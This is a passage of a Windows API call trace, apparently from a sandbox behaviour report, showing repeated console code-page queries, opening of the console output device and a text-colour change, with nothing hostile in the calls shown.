GetLastError () returned 0x0 [0117.797] GetConsoleOutputCP () returned 0x1b5 [0117.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.797] GetLastError () returned 0x0 [0117.797] GetConsoleOutputCP () returned 0x1b5 [0117.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.797] GetLastError () returned 0x0 [0117.797] GetConsoleOutputCP () returned 0x1b5 [0117.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.797] GetLastError () returned 0x0 [0117.797] GetConsoleOutputCP () returned 0x1b5 [0117.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.797] GetLastError () returned 0x0 [0117.797] GetConsoleOutputCP () returned 0x1b5 [0117.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.798] GetLastError () returned 0x0 [0117.798] GetConsoleOutputCP () returned 0x1b5 [0117.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.798] GetLastError () returned 0x0 [0117.798] GetConsoleOutputCP () returned 0x1b5 [0117.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.798] GetLastError () returned 0x0 [0117.798] GetConsoleOutputCP () returned 0x1b5 [0117.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.798] GetLastError () returned 0x0 [0117.798] GetConsoleOutputCP () returned 0x1b5 [0117.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.799] GetLastError () returned 0x0 [0117.799] GetConsoleOutputCP () returned 0x1b5 [0117.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.799] GetLastError () returned 0x0 [0117.799] GetConsoleOutputCP () returned 0x1b5 [0117.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.799] GetLastError () returned 0x0 [0117.799] GetConsoleOutputCP () returned 0x1b5 [0117.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.799] GetLastError () returned 0x0 [0117.799] GetConsoleOutputCP () returned 0x1b5 [0117.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.799] GetLastError () returned 0x0 [0117.799] GetConsoleOutputCP () returned 0x1b5 [0117.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.800] GetLastError () returned 0x0 [0117.800] GetConsoleOutputCP () returned 0x1b5 [0117.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.800] GetLastError () returned 0x0 [0117.800] GetConsoleOutputCP () returned 0x1b5 [0117.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.800] GetLastError () returned 0x0 [0117.800] GetConsoleOutputCP () returned 0x1b5 [0117.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.800] GetLastError () returned 0x0 [0117.800] GetConsoleOutputCP () returned 0x1b5 [0117.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.801] GetLastError () returned 0x0 [0117.801] GetConsoleOutputCP () returned 0x1b5 [0117.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.801] GetLastError () returned 0x0 [0117.801] GetConsoleOutputCP () returned 0x1b5 [0117.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.801] GetLastError () returned 0x0 [0117.801] GetConsoleOutputCP () returned 0x1b5 [0117.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.801] GetLastError () returned 0x0 [0117.801] GetConsoleOutputCP () returned 0x1b5 [0117.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.801] GetLastError () returned 0x0 [0117.801] GetConsoleOutputCP () returned 0x1b5 [0117.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.802] GetLastError () returned 0x0 [0117.802] GetConsoleOutputCP () returned 0x1b5 [0117.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.802] GetLastError () returned 0x0 [0117.802] GetConsoleOutputCP () returned 0x1b5 [0117.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.802] GetLastError () returned 0x0 [0117.802] GetConsoleOutputCP () returned 0x1b5 [0117.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.802] GetLastError () returned 0x0 [0117.802] GetConsoleOutputCP () returned 0x1b5 [0117.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.802] GetLastError () returned 0x0 [0117.802] GetConsoleOutputCP () returned 0x1b5 [0117.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.803] GetLastError () returned 0x0 [0117.803] GetConsoleOutputCP () returned 0x1b5 [0117.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.803] GetLastError () returned 0x0 [0117.803] GetConsoleOutputCP () returned 0x1b5 [0117.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.803] GetLastError () returned 0x0 [0117.803] GetConsoleOutputCP () returned 0x1b5 [0117.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.803] GetLastError () returned 0x0 [0117.803] GetConsoleOutputCP () returned 0x1b5 [0117.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.803] GetLastError () returned 0x0 [0117.804] GetConsoleOutputCP () returned 0x1b5 [0117.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.804] GetLastError () returned 0x0 [0117.804] GetConsoleOutputCP () returned 0x1b5 [0117.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.804] GetLastError () returned 0x0 [0117.804] GetConsoleOutputCP () returned 0x1b5 [0117.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.804] GetLastError () returned 0x0 [0117.804] GetConsoleOutputCP () returned 0x1b5 [0117.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.804] GetLastError () returned 0x0 [0117.804] GetConsoleOutputCP () returned 0x1b5 [0117.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.805] GetLastError () returned 0x0 [0117.805] GetConsoleOutputCP () returned 0x1b5 [0117.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.805] GetLastError () returned 0x0 [0117.805] GetConsoleOutputCP () returned 0x1b5 [0117.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.805] GetLastError () returned 0x0 [0117.805] GetConsoleOutputCP () returned 0x1b5 [0117.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.805] GetLastError () returned 0x0 [0117.805] GetConsoleOutputCP () returned 0x1b5 [0117.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.805] GetLastError () returned 0x0 [0117.805] GetConsoleOutputCP () returned 0x1b5 [0117.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.806] GetLastError () returned 0x0 [0117.806] GetConsoleOutputCP () returned 0x1b5 [0117.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.806] GetLastError () returned 0x0 [0117.806] GetConsoleOutputCP () returned 0x1b5 [0117.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.806] GetLastError () returned 0x0 [0117.806] GetConsoleOutputCP () returned 0x1b5 [0117.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.806] GetLastError () returned 0x0 [0117.806] GetConsoleOutputCP () returned 0x1b5 [0117.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.806] GetLastError () returned 0x0 [0117.806] GetConsoleOutputCP () returned 0x1b5 [0117.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.807] GetLastError () returned 0x0 [0117.807] GetConsoleOutputCP () returned 0x1b5 [0117.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.807] GetLastError () returned 0x0 [0117.807] GetConsoleOutputCP () returned 0x1b5 [0117.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.807] GetLastError () returned 0x0 [0117.807] GetConsoleOutputCP () returned 0x1b5 [0117.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.807] GetLastError () returned 0x0 [0117.807] GetConsoleOutputCP () returned 0x1b5 [0117.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.807] GetLastError () returned 0x0 [0117.808] GetConsoleOutputCP () returned 0x1b5 [0117.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.808] GetLastError () returned 0x0 [0117.808] GetConsoleOutputCP () returned 0x1b5 [0117.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.808] GetLastError () returned 0x0 [0117.808] GetConsoleOutputCP () returned 0x1b5 [0117.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.808] GetLastError () returned 0x0 [0117.808] GetConsoleOutputCP () returned 0x1b5 [0117.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.808] GetLastError () returned 0x0 [0117.808] GetConsoleOutputCP () returned 0x1b5 [0117.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.809] GetLastError () returned 0x0 [0117.809] GetConsoleOutputCP () returned 0x1b5 [0117.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.809] GetLastError () returned 0x0 [0117.809] GetConsoleOutputCP () returned 0x1b5 [0117.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.809] GetLastError () returned 0x0 [0117.809] GetConsoleOutputCP () returned 0x1b5 [0117.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.809] GetLastError () returned 0x0 [0117.809] GetConsoleOutputCP () returned 0x1b5 [0117.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.810] GetLastError () returned 0x0 [0117.810] GetConsoleOutputCP () returned 0x1b5 [0117.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.810] GetLastError () returned 0x0 [0117.810] GetConsoleOutputCP () returned 0x1b5 [0117.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.810] GetLastError () returned 0x0 [0117.810] GetConsoleOutputCP () returned 0x1b5 [0117.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.810] GetLastError () returned 0x0 [0117.810] GetConsoleOutputCP () returned 0x1b5 [0117.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.810] GetLastError () returned 0x0 [0117.810] GetConsoleOutputCP () returned 0x1b5 [0117.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.811] GetLastError () returned 0x0 [0117.811] GetConsoleOutputCP () returned 0x1b5 [0117.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.811] GetLastError () returned 0x0 [0117.811] GetConsoleOutputCP () returned 0x1b5 [0117.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.811] GetLastError () returned 0x0 [0117.811] GetConsoleOutputCP () returned 0x1b5 [0117.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.811] GetLastError () returned 0x0 [0117.811] GetConsoleOutputCP () returned 0x1b5 [0117.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.811] GetLastError () returned 0x0 [0117.812] GetConsoleOutputCP () returned 0x1b5 [0117.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.812] GetLastError () returned 0x0 [0117.812] GetConsoleOutputCP () returned 0x1b5 [0117.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.812] GetLastError () returned 0x0 [0117.812] GetConsoleOutputCP () returned 0x1b5 [0117.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.812] GetLastError () returned 0x0 [0117.812] GetConsoleOutputCP () returned 0x1b5 [0117.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.812] GetLastError () returned 0x0 [0117.812] GetConsoleOutputCP () returned 0x1b5 [0117.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.813] GetLastError () returned 0x0 [0117.813] GetConsoleOutputCP () returned 0x1b5 [0117.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.813] GetLastError () returned 0x0 [0117.813] GetConsoleOutputCP () returned 0x1b5 [0117.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.813] GetLastError () returned 0x0 [0117.813] GetConsoleOutputCP () returned 0x1b5 [0117.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.813] GetLastError () returned 0x0 [0117.813] GetConsoleOutputCP () returned 0x1b5 [0117.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.813] GetLastError () returned 0x0 [0117.813] GetConsoleOutputCP () returned 0x1b5 [0117.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.814] GetLastError () returned 0x0 [0117.814] GetConsoleOutputCP () returned 0x1b5 [0117.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.814] GetLastError () returned 0x0 [0117.814] GetConsoleOutputCP () returned 0x1b5 [0117.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.814] GetLastError () returned 0x0 [0117.814] GetConsoleOutputCP () returned 0x1b5 [0117.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.814] GetLastError () returned 0x0 [0117.814] GetConsoleOutputCP () returned 0x1b5 [0117.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.815] GetLastError () returned 0x0 [0117.815] GetConsoleOutputCP () returned 0x1b5 [0117.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.815] GetLastError () returned 0x0 [0117.815] GetConsoleOutputCP () returned 0x1b5 [0117.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.815] GetLastError () returned 0x0 [0117.815] GetConsoleOutputCP () returned 0x1b5 [0117.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.815] GetLastError () returned 0x0 [0117.815] GetConsoleOutputCP () returned 0x1b5 [0117.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.815] GetLastError () returned 0x0 [0117.815] GetConsoleOutputCP () returned 0x1b5 [0117.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.816] GetLastError () returned 0x0 [0117.816] GetConsoleOutputCP () returned 0x1b5 [0117.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.816] GetLastError () returned 0x0 [0117.816] GetConsoleOutputCP () returned 0x1b5 [0117.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.816] GetLastError () returned 0x0 [0117.816] GetConsoleOutputCP () returned 0x1b5 [0117.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.816] GetLastError () returned 0x0 [0117.816] GetConsoleOutputCP () returned 0x1b5 [0117.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.817] GetLastError () returned 0x0 [0117.817] GetConsoleOutputCP () returned 0x1b5 [0117.817] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.817] GetLastError () returned 0x0 [0117.817] GetConsoleOutputCP () returned 0x1b5 [0117.817] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.817] GetLastError () returned 0x0 [0117.817] GetConsoleOutputCP () returned 0x1b5 [0117.817] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.817] GetLastError () returned 0x0 [0117.817] GetConsoleOutputCP () returned 0x1b5 [0117.817] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.817] GetLastError () returned 0x0 [0117.817] GetConsoleOutputCP () returned 0x1b5 [0117.818] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.818] GetLastError () returned 0x0 [0117.818] GetConsoleOutputCP () returned 0x1b5 [0117.818] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.818] GetLastError () returned 0x0 [0117.818] GetConsoleOutputCP () returned 0x1b5 [0117.818] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.818] GetLastError () returned 0x0 [0117.818] GetConsoleOutputCP () returned 0x1b5 [0117.818] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8eca8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8eca8) returned 0 [0117.818] GetLastError () returned 0x0 [0117.827] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0117.828] GetLastError () returned 0x0 [0117.828] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5e8ec80 | out: lpConsoleScreenBufferInfo=0x5e8ec80) returned 1 [0117.828] GetLastError () returned 0x0 [0117.828] GetConsoleOutputCP () returned 0x1b5 [0117.829] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8ec88, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8ec88) returned 0 [0117.829] GetLastError () returned 0x0 [0117.831] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0117.831] GetLastError () returned 0x0 [0117.831] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x5e8ecf8 | out: lpMode=0x5e8ecf8) returned 1 [0117.831] GetLastError () returned 0x0 [0117.837] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0117.837] GetLastError () returned 0x0 [0117.837] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0117.838] GetLastError () returned 0x0 [0117.842] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0117.843] GetLastError () returned 0x0 [0117.843] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5e8ec20 | out: lpConsoleScreenBufferInfo=0x5e8ec20) returned 1 [0117.843] GetLastError () returned 0x0 [0117.848] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0117.849] GetLastError () returned 0x0 [0117.849] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5e8ec28 | out: lpConsoleScreenBufferInfo=0x5e8ec28) returned 1 [0117.849] GetLastError () returned 0x0 [0117.852] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1 [0117.852] 